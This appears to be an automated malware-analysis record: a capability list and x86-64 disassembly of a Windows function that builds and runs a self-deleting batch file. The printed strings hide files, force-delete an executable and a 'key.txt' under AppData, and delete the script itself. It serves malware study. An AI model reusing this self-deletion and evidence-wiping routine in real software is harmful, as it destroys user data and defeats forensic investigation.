Function at 0x140001790
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
sub rsp, 0x168
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0x30]
call fcn.140001990
lea rcx, [rsp + 0x30]
call fcn.140002890
nop
lea rcx, [rsp + 0x30]
call fcn.140002840
lea rdx, str.timeout__t_2
lea rcx, [rsp + 0x40]
call fcn.140003b00
mov rcx, rax
lea rdx, [0x140003cd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.attrib__h__s_.exe
lea rcx, [rsp + 0x40]
call fcn.140003b00
mov rcx, rax
lea rdx, [0x140003cd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.del_.exe__q__s__f
lea rcx, [rsp + 0x40]
call fcn.140003b00
mov rcx, rax
lea rdx, [0x140003cd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.attrib__h__s___userprofile_AppDataLocalLowMicrosoftiexplorekey.txt_
lea rcx, [rsp + 0x40]
call fcn.140003b00
mov rcx, rax
lea rdx, [0x140003cd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.del___userprofile_AppDataLocalLowMicrosoftiexplorekey.txt___q__s__f
lea rcx, [rsp + 0x40]
call fcn.140003b00
mov rcx, rax
lea rdx, [0x140003cd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.del__0__q__s__f
lea rcx, [rsp + 0x40]
call fcn.140003b00
mov rcx, rax
lea rdx, [0x140003cd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x30]
call fcn.140002800
xor eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.del.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3